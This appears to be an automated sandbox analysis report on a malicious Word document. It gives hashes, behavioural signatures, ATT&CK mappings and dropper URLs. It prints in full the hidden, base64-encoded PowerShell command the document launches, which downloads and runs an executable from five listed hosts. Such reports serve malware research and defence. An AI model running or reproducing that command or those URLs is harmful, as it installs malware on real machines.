1aadecae9e168d092eb93dbad3f0473f5c2c11233263ed2ace1269ae81743868

General

Target

11f933cedc18581b6e3cbee57c98989a_JaffaCakes118.doc
Size

182KB
MD5

11f933cedc18581b6e3cbee57c98989a
SHA1

915d1611aec25ac1c81da90158e8d4d67a6cb2de
SHA256

1aadecae9e168d092eb93dbad3f0473f5c2c11233263ed2ace1269ae81743868
SHA512

6eb7d198b4f57a544307b5318c91c5b18b86c521740a0197e53af4871a66e199eedcaec463c01dcd383c64f24ca908869150806b6fcaf860ec568566c0e26ed8
SSDEEP

3072:i+2y/GdyaktGDWLS0HZWD5w8K7Nk9AGD7IBUOgmGhhjJ9U:i+2k44tGiL3HJk9AGD7bOgm6hjJ2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://hanserefelektrik.com/wp-content/o0zEZ17669/

exe.dropper

http://governessfilms.com/cgi-bin/gnbw2/

exe.dropper

http://forming-a.com/mysql/0s53/

exe.dropper

http://harbour-springs.webonlinepro.com/cgi-bin/pdviP01/

exe.dropper

http://gomitra.com/aspnet_client/xkwsJj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	4192	Powershell.exe	83

Blocklisted process makes network request 4 IoCs

flow	pid	Process
27	3968	Powershell.exe
29	3968	Powershell.exe
33	3968	Powershell.exe
36	3968	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3968	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
760	WINWORD.EXE
760	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3968	Powershell.exe
3968	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3968	Powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE
760	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 5088	760	WINWORD.EXE	86
PID 760 wrote to memory of 5088	760	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\11f933cedc18581b6e3cbee57c98989a_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5088

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABZAHgAcABmAHYAaQByAGwAawA9ACcARwBsAGsAYgBqAGMAagBxAHUAJwA7ACQAQQBnAGMAeQBiAGcAdABtAGwAbQBlAGMAIAA9ACAAJwAyADcANQAnADsAJABYAHMAcgBqAGwAbQBuAHQAdQByAD0AJwBaAGMAbAB3AGsAZABwAHYAdwBzAHUAdQBpACcAOwAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAZwBjAHkAYgBnAHQAbQBsAG0AZQBjACsAJwAuAGUAeABlACcAOwAkAEoAdQBsAG0AeQBzAGwAcwA9ACcAWgBnAHkAdwBtAGwAcABvACcAOwAkAEcAYQBnAHYAYwBrAG4AZgBmAGwAdwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBDAEwAaQBFAG4AdAA7ACQATABsAHoAdABsAG8AaQBrAGUAYwA9ACcAaAB0AHQAcAA6AC8ALwBoAGEAbgBzAGUAcgBlAGYAZQBsAGUAawB0AHIAaQBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAwAHoARQBaADEANwA2ADYAOQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AdgBlAHIAbgBlAHMAcwBmAGkAbABtAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBnAG4AYgB3ADIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAHIAbQBpAG4AZwAtAGEALgBjAG8AbQAvAG0AeQBzAHEAbAAvADAAcwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AaABhAHIAYgBvAHUAcgAtAHMAcAByAGkAbgBnAHMALgB3AGUAYgBvAG4AbABpAG4AZQBwAHIAbwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHAAZAB2AGkAUAAwADEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAG0AaQB0AHIAYQAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAHgAawB3AHMASgBqAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoACcAKgAnACkAOwAkAEcAcQBuAGYAcQByAGsAcAA9ACcAWABhAGEAawBkAHoAaQBlAHoAZgBuAGsAeQAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AGMAdABiAGoAcABoAG0AbwB2ACAAaQBuACAAJABMAGwAegB0AGwAbwBpAGsAZQBjACkAewB0AHIAeQB7ACQARwBhAGcAdgBjAGsAbgBmAGYAbAB3AC4AIgBkAGAATwB3AE4AbABvAGAAQQBEAEYASQBgAEwARQAiACgAJABJAHkAYwB0AGIAagBwAGgAbQBvAHYALAAgACQARAB4AHgAegB5AHcAeQBjAHgAeABzAHIAcgApADsAJABYAHIAeQBrAGgAZQBnAHcAagB2AD0AJwBGAHcAZwBpAHcAbwBvAGcAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEQAeAB4AHoAeQB3AHkAYwB4AHgAcwByAHIAKQAuACIATABlAE4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANAA3ADUAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABEAHgAeAB6AHkAdwB5AGMAeAB4AHMAcgByACkAOwAkAE4AYwBrAHAAZwBuAHcAcwB2AHUAcwBhAD0AJwBXAHQAcQBkAHEAcABsAHMAYwAnADsAYgByAGUAYQBrADsAJABYAHEAdgBqAGwAbQByAGQAZgB4AGUAdQA9ACcAVgB6AHoAbABsAGQAZwB4AHIAcgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeABoAHUAegBjAHgAaQB4AGEAaQBqAD0AJwBXAGYAaAByAHoAegBuAHYAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\58CBC01.wmf

Filesize
444B

MD5
f839c5d129be31a18dc776a378bc687a

SHA1
6b34a50043dd6a0ba1878223f97fc70ead422d53

SHA256
15b19766b6a6d2825da1e2e6183d426ec9afd65c83b53bbbda92e5856e662952

SHA512
8aa73f071caaa310f5b4d4c4ff5703ca0f3b87d12fa44fe4e80f4c4d9838f04e0207ccbf7305220444f2e6853d896c66c1f6bd18b037de2c9a72a882bcaf88d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2sgpq4vr.bdk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
memory/760-5-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-1-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-0-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-6-0x00007FFB99AB0000-0x00007FFB99CA5000-memory.dmp

Filesize
2.0MB

Download
memory/760-7-0x00007FFB99AB0000-0x00007FFB99CA5000-memory.dmp

Filesize
2.0MB

Download
memory/760-8-0x00007FFB574E0000-0x00007FFB574F0000-memory.dmp

Filesize
64KB

Download
memory/760-9-0x00007FFB574E0000-0x00007FFB574F0000-memory.dmp

Filesize
64KB

Download
memory/760-3-0x00007FFB99B4D000-0x00007FFB99B4E000-memory.dmp

Filesize
4KB

Download
memory/760-571-0x00007FFB99AB0000-0x00007FFB99CA5000-memory.dmp

Filesize
2.0MB

Download
memory/760-4-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-2-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-542-0x00007FFB99AB0000-0x00007FFB99CA5000-memory.dmp

Filesize
2.0MB

Download
memory/760-568-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-569-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-567-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/760-570-0x00007FFB59B30000-0x00007FFB59B40000-memory.dmp

Filesize
64KB

Download
memory/3968-52-0x000002AFEF6B0000-0x000002AFEF6D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads